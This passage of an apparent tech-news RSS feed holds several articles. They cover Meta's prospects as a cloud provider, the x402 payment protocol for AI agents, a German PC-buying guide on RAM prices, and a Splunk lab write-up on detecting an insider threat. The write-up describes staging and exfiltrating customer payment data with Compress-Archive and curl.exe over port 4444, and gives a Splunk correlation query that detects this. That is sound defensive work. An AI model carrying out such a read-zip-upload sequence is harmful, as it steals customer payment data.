    The first problem Meta faces is that this is not an open opportunity. The neocloud space, meaning purpose-built AI infrastructure delivered as a service, is already crowded and increasingly difficult to enter. Amazon, Microsoft, and Google dominate the conversation for obvious reasons. They have years of cloud operating experience, broad service portfolios, global reach, mature ecosystems, and deeply established enterprise relationships. Oracle remains a serious player as well, especially in enterprise applications, data platforms, and performance-sensitive workloads. IBM still matters in hybrid cloud, operations, and industries where governance and regulatory rigor remain central.

    That list alone should give Meta pause. These companies are not just infrastructure vendors. They are experienced cloud operators. They have spent years building not only the underlying platforms, but also the native capabilities enterprises now expect by default. Those capabilities include security, governance, identity management, observability, support, compliance, billing controls, resilience planning, and integration with the broader enterprise technology estate. These are not secondary features. They are part of the core value proposition.

    This is why late entry into the cloud market is so hard. A new provider is not just competing on price or capacity. It is competing against accumulated trust. Enterprises are not casual buyers. They are selecting long-term operating environments for applications, data, AI models, and business-critical processes. They want confidence that the provider understands how these services will be consumed, governed, and supported over time. Meta is entering a market where the incumbents already have a major head start on all of those fronts.

    Harder than it looks

    Over the years, I have had many technology companies come to me and say they wanted to reposition their technology in the cloud space, either as software as a service or infrastructure as a service. In the beginning, enthusiasm is always high. The technology is impressive. The market size looks attractive. The revenue models appear compelling. Investors love the story. Then we begin to walk through what it really means to operate as a cloud provider, and the optimism usually fades fast.

    The questions become very practical and very uncomfortable. How will tenants be isolated? How will identity and access controls work across different kinds of customers? What governance models will be built in natively? How will workloads be monitored, optimized, and secured? What does support look like 24 hours a day, across regions, across industries, across compliance boundaries? How will outages be handled, communicated, and remediated? How will the platform integrate with existing customer tools for operations, policy management, and security response? How much investment will it take just to become credible before you even begin to differentiate?

    Once companies fully understand the complexities, market dynamics, and the capital and execution required to compete even with secondary players, many of them back off. They realize that cloud technology is not a packaging exercise. It is a transformation in how a company designs, operates, supports, sells, and evolves technology. That is why I remain skeptical when any company assumes it can translate internal infrastructure excellence into external cloud success without a very long, disciplined commitment.

    Meta’s market readiness

    Of course, Meta is not lacking in financial resources. If any company can afford to spend aggressively in this space, it is Meta. The company has the capital to build infrastructure, absorb losses, hire experienced talent, and stay in the market long enough to make a serious attempt. I would never argue that Meta is too small or too poor to try. Quite the opposite. If there is any non-traditional entrant with the financial scale to force itself into the conversation, Meta would be high on the list.

    But money does not erase complexity. It only gives you the chance to confront it. The real question is not whether Meta can afford to become a cloud provider. The question is whether Meta has what it takes to become an excellent cloud provider. Those are two very different things. Enterprises are not going to move meaningful workloads to a new platform simply because the company behind it is wealthy or technically famous. They are going to ask whether the provider understands enterprise consumption patterns, enterprise risk, enterprise governance, and enterprise operations.

    That is where the challenge becomes much more serious. Meta has extensive experience running infrastructure for itself. That is valuable, but internal operating excellence is not the same thing as external service maturity. Running systems for your own workloads allows a high degree of control over architecture, standards, priorities, and operating assumptions. Running systems for paying customers requires flexibility, consistency, transparency, and support across a wide range of use cases that you do not control. Those are very different disciplines, and companies often underestimate the gap between them.

    What exactly is Meta?

    Another concern here is strategic clarity. Meta already has a complicated market identity. It is a social media company, an advertising platform company, a hardware company, an AI company, and still, in the minds of many, the company that spent billions pursuing the metaverse. If it now wants to be viewed as a serious cloud infrastructure provider, it will need to explain not only what it is offering, but why customers should believe this is a durable long-term commitment and not just another adjacent experiment.

    That uncertainty can be damaging. Customers want stable providers with clear strategic intent. They do not want to architect important systems around a platform if they suspect the provider may lose interest, shift direction, or reframe the business after a few years of uneven results. Cloud computing requires patience, consistency, and deep customer orientation. It is not a market where strategic ambiguity helps.

    This could become confusing for Meta internally as well. Building a true cloud business demands focus. It demands years of investment in areas that may not be glamorous but are absolutely necessary, such as governance, operations, controls, support frameworks, partner programs, and enterprise sales alignment. If the company is not willing to make those sacrifices fully and for the long term, the initiative will struggle.

    ]]>         <![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]> https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/ https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/ Fri, 17 Jul 2026 11:04:12 +0200 🔧 AI Nachrichten tsecurity.de

    The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.

    The x402 protocol, originally developed by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.

    “Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”

    Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.

    Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.

    Foundation targets a gap in agent-to-agent commerce

    The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.

    Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.

    “By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.

    The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.

    How the protocol works

    The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.

    The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.

    Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.

    Governance structure spans payments, cloud and blockchain sectors

    Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.

    “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.

    Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.

    According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.

    Growing ecosystem

    The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.

    In May, AWS introduced Amazon Bedrock AgentCore Payments in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.

    The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.

    ]]>         <![CDATA[PC-Kaufberatung 2026: RAM kostet jetzt das 4x – hier 3 Setups, mit denen Sie sparen]]> https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/ https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/ Fri, 17 Jul 2026 10:32:34 +0200 📰 IT Nachrichten tsecurity.de

    Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung fĂŒr weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die ProduktionskapazitĂ€ten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. FĂŒr Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem Ă€ußerst angespannten Markt konfrontiert.

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    Das HP OmniBook 5 Flip bietet dank 360°-Scharnier vier Nutzungsmodi – vom klassischen Laptop bis zum Tablet. Der IntelÂź Coreℱ 7 Prozessor sorgt fĂŒr flĂŒssiges Arbeiten im Alltag. Das 14 Zoll 2K-Touchdisplay (1.920 x 1.200) stellt Inhalte gestochen scharf dar, 16 GB RAM und 512 GB SSD bieten Leistung und Platz fĂŒr Ihre Projekte. Die Fast-Charge-Funktion bringt Sie schnell zurĂŒck auf 50 % Akkuladung.

    Erfahren Sie mehr ĂŒber das HP OmniBook 5 Flip

    Gleichzeitig ist die technische Verlockung groß: Mit Nvidias Blackwell-Architektur (RTX 50-Serie) und AMDs effizienten Ryzen-9000-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: Nein, zumindest nicht in absehbarer Zeit. Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.

    RAM Preise Idealo DDR5 7200
    Preisschock beim Arbeitsspeicher: Besonders fĂŒr schnellen DDR5-RAM haben sich die Preise teils vervierfacht. Der zwingende Kompromiss: Statt zu DDR5-7200 greifen wir aktuell besser zu DDR5-6000 – oder gleich zum Ă€lteren DDR4-Speicher.

    Foundry

    Der RAM-Schock – und wie man damit umgeht

    WĂ€hrend CPUs und Grafikkarten zwar teuer, aber immerhin verlĂ€sslich lieferbar sind, entwickelt sich der Arbeitsspeicher (RAM) immer mehr zum Schmerzpunkt fĂŒr jeden PC-Bauer. Der Grund: Die großen Speicherhersteller priorisieren zunehmend den lukrativen HBM-Speicher (High Bandwidth Memory) fĂŒr KI-Chips und schichten ihre ProduktionskapazitĂ€ten um. Gleichzeitig saugen die neuen KI-Rechenzentren den verbleibenden Markt fĂŒr klassischen DDR5-Arbeitsspeicher leer, da moderne Server-Cluster neben HBM auch gigantische Mengen an regulĂ€rem RAM benötigen. FĂŒr den klassischen Desktop-Markt stehen dadurch deutlich weniger ProduktionskapazitĂ€ten zur VerfĂŒgung. Die Folge ist eine drastische Verknappung bei herkömmlichen Riegeln. DDR5-Kits kosten aktuell teilweise viermal so viel wie noch im Herbst 2025 – ein vernĂŒnftiges 32-GB-Kit reißt schnell ein Loch von ĂŒber 400 Euro in die Kasse. Aus dieser Entwicklung ergeben sich neue Spielregeln fĂŒr den PC-Kauf, mit denen sich die Preisexplosion spĂŒrbar entschĂ€rfen lĂ€sst.

    • Geschwindigkeit drosseln: Wer Premium-Preise zahlt, den erwartet auch Premium-Leistung. Doch extrem schneller Speicher wie DDR5-7200 rechnet sich aktuell wirtschaftlich kaum. Der Sweetspot fĂŒr moderne AMD- und Intel-Systeme liegt 2026 bei DDR5-6000 – idealerweise mit CL30-Latenzen (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Der Leistungsunterschied im Alltag ist marginal, die Preisersparnis deutlich spĂŒrbar.
    • Verzichten Sie auf „Zukunfts-Speck“: Niemand sollte aktuell Arbeitsspeicher auf Vorrat kaufen. Hat man frĂŒher gerne großzĂŒgig verbaut und direkt zu 64 GB gegriffen, so lautet die Devise heute: 32 GB sind fĂŒr die meisten Gamer und Kreativanwender (Videoschnitt) aktuell der vernĂŒnftige Sweetspot. Mehr KapazitĂ€t verschlingt nur das dringend benötigte Budget fĂŒr die Grafikkarte oder den Prozessor. Ausnahme: bedingungslose High-End-Konfigurationen.
    • DDR4 als Rettungsanker: FĂŒr reine Office-PCs oder sparsame Builds lohnt sich 2026 paradoxerweise der Blick in die Vergangenheit. Eine alte AM4-Plattform mit DDR4-Speicher (z.B. Corsair Vengeance DDR4-3200 2x16GB, CL16) kostet einen Bruchteil moderner Systeme. Die DDR4-Preise sind zwar branchenbedingt ebenfalls gestiegen, allerdings etwas moderater. FĂŒr aktuelle Gaming-Boliden (wie die AM5-Plattform) fĂŒhrt jedoch kein Weg am teuren DDR5-Speicher vorbei.

    Drei Beispiel-Konfigurationen: FĂŒr jeden Anspruch das richtige Setup

    Die strategischen Fragen sind geklĂ€rt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten fĂŒr ein optimales Preis-LeistungsverhĂ€ltnis auf. Um Ihnen maximale FlexibilitĂ€t zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.

    📌 Redaktioneller Hinweis zur Preiskalkulation

    Die nachfolgenden Preisrahmen beziehen sich rein auf die Kern-Komponenten des PCs (Zentralrechner). Nicht eingerechnet sind optionale ZusatzlĂŒfter (falls nicht ab Werk verbaut), separate optische Laufwerke sowie externe Peripherie wie Monitor, Tastatur, Maus oder die Lizenz fĂŒr das Betriebssystem (Windows 11). Planen Sie dafĂŒr je nach Bedarf ein zusĂ€tzliches Budget ein. Beratung beim Kauf bieten unsere Ratgeber und Vergleichstests:

    Konfiguration 1: Der Office- und Alltags-PC

    Ryzen 5 4600G
    Der Star dieses Setups: Der Ryzen 5 5600G verfĂŒgt ĂŒber eine integrierte Grafikeinheit und macht eine dedizierte Grafikkarte im Office-PC ĂŒberflĂŒssig. Das senkt den Gesamtpreis deutlich, erlaubt aber nur leichtes Gaming auf Einsteiger-Niveau.

    AMD

    Konfiguration 1: ZuverlÀssigkeit, leiser Betrieb und strikte Budgetkontrolle

    FĂŒrs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwĂ€hnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusĂ€tzlicher Vorteil dieser Konfiguration ist ihre ZuverlĂ€ssigkeit: Die Plattform ist ausgereift, gĂŒnstig und bietet mehr als genug Leistung fĂŒr typische Office- und Alltagsanwendungen.

    • Preisrahmen: ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie & OS)
    • Prozessor (CPU):
      • Standard: AMD Ryzen 5 5600G – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.
      • Alternative: Intel Core i3-14100 – Reicht fĂŒr reine Office-Arbeiten ebenfalls völlig aus. Wichtig: Achten Sie darauf, nicht aus Versehen die 14100F-Variante zu kaufen, weil dieser Version die Grafikeinheit fehlt.
    • Mainboard: Gigabyte B550M DS3H (fĂŒr AMD) oder Asus Prime B760M-K D4 (fĂŒr Intel). Beide Boards setzen auf den gĂŒnstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen AnschlĂŒsse fĂŒr den Alltag, darunter schnelle USB-Ports, M.2-SteckplĂ€tze fĂŒr NVMe-SSDs und genĂŒgend Erweiterungsmöglichkeiten fĂŒr spĂ€tere Upgrades.
    • Arbeitsspeicher (RAM): 16 GB DDR4-3200 (z.B. Patriot Memory Viper Elite II DDR4 2x8GB, CL18). Dieser Arbeitsspeicher ist fĂŒr flĂŒssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.
    • Speicherplatz: 500 GB PCIe 4.0 NVMe SSD (z.B. Crucial P310 SSD 500GB M.2 NVMe). Die SSD sorgt fĂŒr blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur 1-TB-Variante greifen.
    • GehĂ€use: Das Montech Air 100 ist ein kompaktes Micro-ATX-GehĂ€use, das fĂŒr rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte LĂŒfter und eine Mesh-Front fĂŒr leisen, kĂŒhlen Betrieb.
    • Netzteil: Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum be quiet! System Power 11 450W greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.

    Konfiguration 2: Casual-Gaming und Videoschnitt-PC

    ASUS Prime GeForce RTX 5060 8GB GDDR7 OC Edition Gaming
    Die GeForce RTX 5060 (zu sehen ist ein Modell von ASUS) liefert die nötige Leistung fĂŒr 1440p-Gaming und profitiert von modernen Features wie DLSS sowie Hardware-Encoding fĂŒr Streaming und Videoschnitt.

    Asus

    Wer aktuelle Spiele flĂŒssig genießen oder mit Adobe Premiere und DaVinci Resolve kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. DafĂŒr gibt es starke Leistung und hervorragende Effizienz.

    • Preisrahmen: ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie & OS)
    • Prozessor (CPU):
      • Standard: Der Intel Core Ultra 5 245KF bietet derzeit ein attraktives Preis-Leistungs-VerhĂ€ltnis. FĂŒr rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung fĂŒr flĂŒssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.
      • Alternative: Der AMD Ryzen 7 9700X ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.
    • Mainboard: Das Asus TUF Gaming Z890-Plus (fĂŒr Intel) oder das MSI MAG B650 Tomahawk WiFi (fĂŒr AMD). Beide bieten moderne PCIe-Slots und solide KĂŒhlung fĂŒr die Spannungswandler.
    • Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich fĂŒr flĂŒssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.
    • Grafikkarte (GPU):
      • Standard: Nvidia GeForce RTX 5060 mit 8 GB (z.B. Asus Prime GeForce RTX 5060 8GB OC Edition). Diese Karte ist eine solide Wahl fĂŒr klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch fĂŒr Content Creation gut geeignet ist. 8-GB-VRAM reichen fĂŒr die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. FĂŒr spĂŒrbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum Ti-Modell greifen (+ 80 Euro).
      • Preis-Alternative: AMD Radeon RX 9060 XT mit 8 GB (z.B. Gigabyte Radeon RX 9060 XT 8GB). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. FĂŒr rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.
    • Speicherplatz: 2 TB PCIe 4.0 NVMe SSD (z.B. WD_BLACK SN850X NVMe SSD). Moderne Videoprojekte sind Ă€ußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich KapazitĂ€t und sorgt fĂŒr verzögerungsfreie ArbeitsablĂ€ufe.
    • GehĂ€use: Fractal Design North XL – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fĂŒgt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch fĂŒr Komponenten mit hoher WĂ€rmeentwicklung.
    • Netzteil: 750 Watt ATX 3.1 (z.B. Seasonic Focus GX ATX 3.1) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss fĂŒr RTX-Karten und genĂŒgend Puffer fĂŒr Leistungsspitzen.

    Konfiguration 3: High-End-System fĂŒr Gaming und Content Creation

    Gigabyte AORUS GeForce RTX 5090 Master 32G Grafikkarte
    FĂŒr einen High-End-PC setzen wir auf ĂŒppige Leistungsreserven – wahlweise die GeForce RTX 5080 mit 16 GB oder die GeForce RTX 5090 mit 32 GB VRAM als kompromisslose Spitzenlösung.

    Gigabyte

    Dieses System ist fĂŒr Enthusiasten konzipiert, die im GrafikmenĂŒ keine Kompromisse eingehen wollen. Hier zĂ€hlt pure, ungebremste Leistung. Hinweis: Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.

    • Preisrahmen: 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie & OS)
    • Prozessor (CPU):
      • Standard: AMD Ryzen 9 9900X3D – Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren ĂŒberhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.
      • GĂŒnstigere Alternative: AMD Ryzen 9 9900X – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primĂ€r fĂŒr 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.
    • Mainboard: Asus ROG Strix X870E-E Gaming – Ein ATX-Powerhouse fĂŒr den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-AnschlĂŒssen, Wi-Fi 7 und voller PCIe‑5.0‑UnterstĂŒtzung bietet es moderne KonnektivitĂ€t.
    • Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa fĂŒr aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum 64-GB-Kit und muss den Preissprung zwangslĂ€ufig hinnehmen.
    • Grafikkarte (GPU):
      • Standard: Nvidia GeForce RTX 5080 mit 16 GB (z.B. MSI GeForce RTX 5080 16GB GDDR7) – Das Werkzeug fĂŒr kompromissloses 4K-Gaming. Sie bewĂ€ltigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.
      • Highend-Alternative: Nvidia GeForce RTX 5090 mit 32 GB (z.B. Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die fĂŒr maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.
    • Speicherplatz: 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0) – FĂŒr kĂŒrzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg ĂŒber die CPU direkt von der SSD zu laden.
    • GehĂ€use:
      • Standard: be quiet! Shadow Base 800 FX Black – ein gerĂ€umiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-LĂŒftern und einer integrierten LĂŒfter-Steuerung geliefert wird. Das GehĂ€use bietet ausreichend Platz fĂŒr große 420-mm-Radiatoren und ĂŒberlange Grafikkarten.
      • Design-Alternative: Lian Li O11 Dynamic EVO XL – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lĂ€sst. Durch die abnehmbare EcksĂ€ule bietet das GehĂ€use freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm LĂ€nge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren fĂŒr aufwendige WasserkĂŒhlungen.
    • Netzteil: 1000 Watt ATX 3.1 (z.B. Corsair RMx Shift oder be quiet! Straight Power 12). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-UnterstĂŒtzung bietet dafĂŒr ausreichende Reserven.

    Ihre Kauf-Checkliste fĂŒr 2026

    Mann kauft online ein mit Kreditkarte und Handy

    Anucha Tiemsom/Shutterstock.com

    Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prĂŒfen. Hier verstecken sich die hĂ€ufigsten Fehler beim PC-Kauf:

    • Airflow bei Gaming-Systemen beachten: Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr AbwĂ€rme. Gerade fĂŒr High-End-Setups sollten Sie GehĂ€use mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt fĂŒr frische Luft, hĂ€lt die Temperaturen niedrig und ermöglicht es den GehĂ€uselĂŒftern, auch unter Last angenehm leise zu arbeiten.
    • HDD stirbt langsam aus: FĂŒr Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als gĂŒnstiger Datenspeicher fĂŒr Backups und große Medienarchive – alles andere macht die SSD.
    • Netzteil-Standards beachten: Neue Grafikkarten benötigen moderne AnschlĂŒsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue ATX-3.1-Zertifizierung.
    • RAM-Sweetspot treffen: Greifen Sie maximal zu DDR5-6000-Speicher. Alles darĂŒber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spĂŒrbaren Mehrwert.
    • Mainboard-Features geschickt wĂ€hlen: Bezahlen Sie nicht fĂŒr AnschlĂŒsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.
    • KĂŒhlung richtig dimensionieren: FĂŒr Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-LuftkĂŒhler fĂŒr 40 Euro oft aus. Teure KomplettwasserkĂŒhlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der GehĂ€use-Optik besonderes Augenmerk schenken wollen.

    Fazit: Clever kaufen trotz Krise

    Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt spĂŒrbar verzerrt und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. DafĂŒr steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.

    Die Devise lautet deshalb: Priorisieren statt Verzweifeln. Wer beim RAM den Sweetspot trifft (DDR5-6000), auf VorratskÀufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.

    ]]>         <![CDATA[How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate]]> https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/ https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/ Fri, 17 Jul 2026 09:23:42 +0200 đŸ•”ïž Hacking tsecurity.de No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.

    By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM Lab

    Most detection content is about outsiders — brute force, phishing, exploits. The attacker is external, the activity is obviously malicious, and the logs light up.

    Insider threats are the opposite. The account is valid. The access is authorized. Every individual action, viewed on its own, looks like normal work. There’s no single event you can alert on. And that’s exactly what makes them the hardest thing a SOC has to catch.

    I built a Splunk lab to detect one end to end. This is how it worked.

    The Meridian SOC dashboard — six live panels built in Splunk, pulling from the same data this insider threat scenario generated.

    The scenario

    A fictional e-commerce company, Meridian Commerce Inc. A Finance account on a Windows 11 workstation (FIN-WKS-04) with legitimate access to customer payment data. The insider does three things:

    1. Reads the payment file C:\CustomerExports\payments_export.csv. This account is allowed to. (Event ID 4663)
    2. Compresses it with PowerShell’s Compress-Archive. Zipping a file isn't malicious. (Event ID 4104)
    3. Exfiltrates it to an external host with curl.exe over port 4444. One outbound connection among thousands. (Event ID 5156)

    Read, zip, upload. Three ordinary actions. No perimeter control catches this because nothing is breached. No auth alert fires because the login is valid. The attack lives entirely inside legitimate behavior. The only way to see it is to stop looking at events individually and start looking at the pattern they form together.

    Problem 1 — the workstation logs almost nothing by default

    Before correlating anything, I found the telemetry wasn’t even there. A default Windows 11 workstation doesn’t log these events. Three audit subcategories must be explicitly enabled: File System (4663) plus a SACL on the folder, PowerShell Script Block Logging (4104), and Filtering Platform Connection (5156). Without them, the read, the compression, and the exfiltration are all invisible. If these aren’t on before the attack, there’s nothing to detect after — the evidence was never written.

    The file-read stage caught in Splunk via Event ID 4663 — the first of three subcategories that are disabled by default on a stock Windows 11 workstation.

    Problem 2 — the compression step tried to hide

    I expected to catch the compression via Event ID 4688 (Process Creation). It never fired. Compress-Archive is a native PowerShell cmdlet — it runs inside the existing PowerShell engine and doesn't spawn a child process, so there's no 4688. Any detection relying only on process-creation auditing is blind to PowerShell-native staging. That's why Script Block Logging (4104) matters — it captures the cmdlet with full parameter bindings, including exact source and destination paths.

    The detection — correlating three stages into one incident

    index=windows (EventCode=4663 Object_Name="*CustomerExports*")
        OR (EventCode=4104 _raw="*CompressFilesHelper*")
        OR (EventCode=5156 Destination_Port=4444)
    | transaction host maxspan=30m
    | where eventcount >= 3
    | table _time, host, eventcount, duration

